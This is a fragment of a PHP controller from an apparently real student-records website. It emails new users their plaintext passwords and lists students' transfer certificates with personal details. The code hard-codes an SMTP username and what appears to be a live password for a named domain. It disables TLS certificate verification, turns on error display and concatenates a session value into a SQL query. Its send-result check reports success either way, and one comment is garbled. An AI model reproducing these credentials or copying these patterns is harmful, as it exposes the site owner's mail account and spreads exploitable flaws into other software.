----------------------------*/ //if(!empty($_POST["cus_email"])) { ini_set('display_errors', 1); ini_set('display_startup_errors', 1); error_reporting(E_ALL); $BUSINESS_INFO = get_all_profile(); $laodfile = ''.$_SERVER['DOCUMENT_ROOT'].'/phpmailer/class.phpmailer.php'; require_once ($laodfile); $mail = new PHPMailer(true); $mail->isSMTP();// Set mailer to use SMTP $mail->CharSet = "utf-8";// set charset to utf8 $mail->SMTPAuth = true;// Enable SMTP authentication $mail->SMTPSecure = 'tls';// Enable TLS encryption, `ssl` also accepted $mail->Host = 'vhtecindia.com';// Specify main and backup SMTP servers $mail->Port = 587;// TCP port to connect to $mail->SMTPOptions = array( 'ssl' => array( 'verify_peer' => false, 'verify_peer_name' => false, 'allow_self_signed' => true ) ); $mail->isHTML(true);// Set email format to HTML $mail->Username = 'info@vhtecindia.com';// S(zV,$PQFfQY8MTP username $mail->Password = '@qEH,O).@&e3';// SMTP password $userEmail = 'info@vhtecindia.com'; $toEmail = $from; $userName = $name; $subject = 'Credential For '.$BUSINESS_INFO[0]->ORG_NAME.''; //$message = 'DEAR CUSTOMER YOUR CONGRATULATION YOUR LOGIN DETAIL IS '; $PROFILE = get_site_setting(); //print_r($PROFILE); $message = '
    User Name : '.$username.'
    Name : '.$name.'
    Password : '.$password.'
    '; //echo $to; $userEmail = 'info@vhtecindia.com'; $mail->SetFrom("info@vhtecindia.com", $userEmail); $mail->AddReplyTo($userEmail, $userName); $mail->AddAddress($to); // set recipient email address //$mail->AddAddress('support@onlineplanetpro.com'); //$mail->AddAddress('pankajkumar01.330@gmail.com'); $mail->Subject = $subject; $mail->WordWrap = 80; $mail->MsgHTML($message); $mail->SMTPDebug = 1; if (! $mail->Send()) { $this->session->set_flashdata("email_sent","Email sent successfully."); } else { $this->session->set_flashdata("email_sent","Email sent successfully."); } /*------------ end email ----------------------------------*/ } public function download_student_tc_list() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', 5 => 'MEASUREMENT_NAME', 6 => 'MEASUREMENT_NAME', 7 => 'MEASUREMENT_NAME', 8 => 'MEASUREMENT_NAME', 9 => 'MEASUREMENT_NAME', 10 => 'MEASUREMENT_NAME', 11 => 'MEASUREMENT_NAME', 12 => 'MEASUREMENT_NAME', 13 => 'MEASUREMENT_NAME', 14 => 'MEASUREMENT_NAME', 15 => 'MEASUREMENT_NAME', 16 => 'MEASUREMENT_NAME', 17 => 'MEASUREMENT_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; if($_SESSION['type'] == 1){ $center = 'all'; }else{ $centers = $this->db->query("SELECT * FROM `centers` WHERE `id` = '".$_SESSION['loginid']."' ")->row(); $center=$centers->id; // die(var_dump($center)); } $totalData = count_download_tc($center); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_download_tc($limit, $start, $order, $dir,$center); } else { $search = $this->input->post('search')['value']; $posts = download_tc_list_search($limit, $start, $search, $order, $dir,$center); $totalFiltered = download_tc_list_search_count($search,$center); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { if($post->status == 1){ $status = 'ACTIVE'; }else{ $status = 'CANCEL'; } $image = '
    '; $row = $this->db->get_where('admit_card',['AC_STUDENT_ID'=>$post->STUDENT_ID, //'AC_COURSE'=>$course_id, 'AC_DURATION'=> $post->CDL_ID, //'AC_CATEGORY' => $category_id, ])->row(); $tc_date=date('Y-m-d',strtotime(@$post->tc_issue_date)); $tc = ' DOWNLOAD TC '; $nestedData['SR_NO'] = $i; $nestedData['PHOTO'] = $image; $nestedData['ENTOLLMENT'] = @$post->enrollment_no; $nestedData['STUDENT_NAME'] = $post->name; $nestedData['COURSE'] = ''.$post->course_name.' / '.@$post->CDL_NAME.''; $nestedData['SESSION'] = $post->start.'-'.$post->end; $nestedData['FATHER_NAME'] = $post->father; $nestedData['MOTHER_NAME'] = $post->mother; $nestedData['DOB'] = $post->dob; $nestedData['MOBILE'] = $post->mobile; $nestedData['EMAIL'] = $post->email; $nestedData['ADDRESS'] = $post->address; $nestedData['CENTER_NAME'] = $post->institute_name; $nestedData['STUDENT_ROLL_NO'] = ' ROLL NO : '.@$row->AC_ROLL_NO.' '.'
    '; $nestedData['ACTION'] = ' '.$tc.' '; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } /*--------------------- end password reset---------------------------------------------*/ } ?>